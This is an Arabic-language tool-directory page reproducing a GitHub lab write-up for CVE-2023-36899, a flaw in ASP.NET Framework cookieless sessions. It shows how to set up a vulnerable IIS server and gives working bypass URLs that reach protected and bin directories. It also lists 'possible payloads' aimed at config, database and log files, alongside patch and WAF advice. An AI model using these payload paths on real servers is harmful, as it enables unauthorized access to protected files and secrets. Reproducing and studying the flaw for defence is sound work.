Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-36899 — بيئة وأدوات إعادة إنتاج ثغرة CVE-2023-36899، التي تستهدف تجاوز التحقق من جلسة الهوية بدون cookie في إطار ASP.NET. | Kitploit
أدوات/GitHubGitHub/midisec/cve-2023-36899
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSاستغلال تطبيقات الويباختبار الاختراق
GitHubmidisec/cve-2023-36899

CVE-2023-36899

بيئة وأدوات إعادة إنتاج ثغرة CVE-2023-36899، التي تستهدف تجاوز التحقق من جلسة الهوية بدون cookie في إطار ASP.NET.

عرض المستودع
335منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-36899

بيئة وأدوات إعادة إنتاج لثغرة CVE-2023-36899، والتي تستهدف تجاوز مصادقة الجلسة بدون ملفات تعريف الارتباط في إطار عمل ASP.NET.

Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)

في تطوير الويب الحديث، على الرغم من أن ملفات تعريف الارتباط (cookies) هي الطريقة المفضلة لنقل معرف الجلسة، إلا أن .NET Framework يوفر أيضًا طريقة بديلة: ترميز معرف الجلسة مباشرة في عنوان URL. تُعرف هذه التقنية باسم ميزة "بدون ملفات تعريف الارتباط" (cookieless) في .NET Framework. يتجاهل العديد من المطورين ومختبرات الأمن هذا الخيار لأنه نادرًا ما يُستخدم في التطبيقات العملية. ومع ذلك، فقد أصبح هذا كنزًا لاكتشاف ثغرات من جانب العميل مثل تثبيت الجلسة (Session Fixation)، واختطاف الجلسة (Session Hijacking)، وحقن HTML، والبرمجة النصية عبر المواقع (XSS). بالإضافة إلى ذلك، يمكن استغلال هذه الميزة لتجاوز قواعد جدار الحماية المستندة إلى المسار والتي لم يتم تكوينها لتحديد طرق بدون ملفات تعريف الارتباط. بسبب المشكلات الأمنية المتأصلة، قام .NET Core والإصدارات اللاحقة من .NET بحذف ميزة بدون ملفات تعريف الارتباط. لكن لا يمكننا نسيان عدد كبير من تطبيقات الويب التي لا تزال تستخدم .NET Framework الكلاسيكي.

النقاط الرئيسية:

  1. يمكن إساءة استخدام ميزة .NET Framework بدون ملفات تعريف الارتباط للوصول إلى الدلائل المحمية أو الدلائل المحظورة بواسطة مرشحات URL الخاصة بـ IIS.
  2. باستخدام ميزة بدون ملفات تعريف الارتباط، يمكن تجاوز فحوصات المصادقة أو التصفية الخاصة بـ IIS.
  3. تتعلق مشكلة أخرى بكيفية إدارة IIS لتجمعات التطبيقات، مما قد يؤدي إلى تصعيد الامتيازات أو تجاوز الأمان.
  4. من خلال ميزة .NET Framework بدون ملفات تعريف الارتباط، يمكن إجبار تطبيق IIS على استخدام تجمع التطبيقات الأصلي الخاص به بدلاً من تجمع التطبيقات الخاص به.

تفاصيل الثغرة:

1. تجاوز المسار المقيد لـ IIS

يمكن إساءة استخدام ميزة .NET Framework بدون ملفات تعريف الارتباط للوصول إلى الدلائل المحمية أو الدلائل المحظورة بواسطة مرشحات URL الخاصة بـ IIS. على سبيل المثال، ضع في اعتبارك الحالة التالية على موقع victim.com:

  • صفحة موجودة في الدليل /protected/: /webform/protected/target1.aspx، والتي تفرض مصادقة أساسية.
  • صفحة تم نقلها مؤقتًا إلى مجلد /bin/: /webform/bin/target2.aspx، مما يجعلها غير قابلة للوصول.

عادةً، الوصول إلى هذه الصفحات عبر عناوين URL سيتم حظره في IIS:

  • http://10.0.2.15:8080/webform/protected/target1.aspx
  • http://10.0.2.15:8080/webform/bin/target2.aspx

ولكن، يمكن استغلال ميزة بدون ملفات تعريف الارتباط للوصول إلى هذه الصفحات من خلال النمط التالي:

  • http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
  • http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. إرباك تجمع التطبيقات

كيفية إدارة IIS لتجمعات التطبيقات قد تؤدي إلى تصعيد الامتيازات أو تجاوز الأمان. يمكن التلاعب بميزة .NET Framework بدون ملفات تعريف الارتباط لإجبار تطبيق IIS على استخدام تجمع التطبيقات الأصلي الخاص به بدلاً من تجمع التطبيقات الخاص به. على سبيل المثال:

  • جذر الموقع (/) يعمل باستخدام تجمع تطبيقات DefaultAppPool.
  • تطبيق /classic/ يستخدم تجمع تطبيقات .NET v4.5 Classic.
  • تطبيق /classic/nodotnet/ يستخدم تجمع تطبيقات NoManagedCodeClassic، والذي لا يدعم الكود المُدار.

ملف C# باسم AppPoolPrint.aspx يمكن الوصول إليه في جميع التطبيقات المذكورة أعلاه، ويعرض اسم تجمع التطبيقات الحالي. باستخدام ميزة بدون ملفات تعريف الارتباط مرتين، يمكننا تشغيل هذه الصفحة باستخدام تجمع التطبيقات الأصلي الخاص بها:

  • /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
  • /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
  • /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

وهذا يسمح حتى للصفحات الموجودة في /classic/nodotnet/ (والتي لا ينبغي لها تنفيذ الكود المُدار) بتشغيل صفحات ASPX باستخدام تجمع التطبيقات الأصلي الخاص بها. يمكن أن يؤدي هذا السلوك إلى تصعيد الامتيازات على IIS.

إعادة إنتاج الثغرة:

1. تجهيز البيئة:

  • نظام التشغيل: قم بتثبيت إصدار من Windows Server، مثل Windows Server 2016 أو 2019.
  • خادم الويب: قم بتثبيت خدمات معلومات الإنترنت (IIS).
  • إطار التطوير: قم بتثبيت .NET Framework (وليس .NET Core أو .NET 5+).

عند تثبيت IIS، اختر:

  • خادم الويب:
    • ميزات HTTP الشائعة:
      • المحتوى الثابت
      • المستند الافتراضي
      • تصفح الدليل
      • أخطاء HTTP
    • تطوير التطبيقات:
      • .NET Extensibility (المتوافق مع إصدار .NET Framework الخاص بك: 4.5)
      • ASP.NET (المتوافق مع إصدار .NET Framework الخاص بك: 4.5)
      • إضافات ISAPI
      • مرشحات ISAPI
  • الصحة والتشخيص:
    • تسجيل HTTP
    • مراقبة الطلبات
    • أدوات السجل
  • الأمان:
    • تصفية الطلبات
    • المصادقة الأساسية
    • مصادقة Windows

2. تكوين IIS:

  1. افتح مدير IIS.
  2. أنشئ موقع ويب جديد.
  3. في الموقع الجديد، أنشئ عدة أدلة، مثل /webform, /webform/protected, و /webform/bin.
  4. في الدليل /protected/، قم بإعداد المصادقة الأساسية.
  5. انقل الصفحة /webform/bin/target.aspx إلى مجلد /bin/ لجعلها غير قابلة للوصول المباشر. (الدليل bin لا يسمح IIS بالوصول إليه افتراضيًا، لأنه يحتوي على برامج مُجمّعة حساسة).

3. إنشاء صفحات الاختبار:

  1. في الدليل /webform/protected/، أنشئ صفحة باسم target.aspx.
  2. في الدليل /webform/bin/، أنشئ صفحة باسم target.aspx.
  3. في كل تطبيق، أنشئ صفحة باسم AppPoolPrint.aspx والتي يمكنها عرض اسم تجمع التطبيقات الحالي.

محتوى اختبار ملف target.aspx:

root@kitploit:~
<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

محتوى اختبار ملف web.config في الدليل الجذر:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

حيث أن <sessionState mode="InProc" cookieless="UseCookies" /> يعني أن الموقع يستخدم ملفات تعريف الارتباط لتخزين بعض معلومات الجلسة الافتراضية وما إلى ذلك، وهذا هو الإعداد الافتراضي أيضًا.

4. إعادة إنتاج الثغرة:

  1. حاول الوصول مباشرة إلى الصفحتين /webform/protected/target.aspx و /webform/bin/target.aspx. يجب أن يتم حظرك أو مطالبتك بالمصادقة.

2023-08-16 06-25-21屏幕截图.png

باستخدام http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx تم الوصول بنجاح 2023-08-16 06-33-20屏幕截图.png

  1. حاول استخدام ميزة بدون ملفات تعريف الارتباط للوصول إلى هذه الصفحات، على سبيل المثال:
    • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
    • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx يجب أن تكون قادرًا على تجاوز المصادقة أو المرشحات للوصول إلى هذه الصفحات.

توصيات الإصلاح

  1. قم بحظر ميزة /S(X)) في جدار الحماية لتطبيقات الويب (WAF).
  2. قم بتثبيت التصحيح المناسب على الخادم https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

قائمة الحمولات المحتملة:

root@kitploit:~
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))/abase/database.yml
....

المراجع:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899

تنزيل الأداة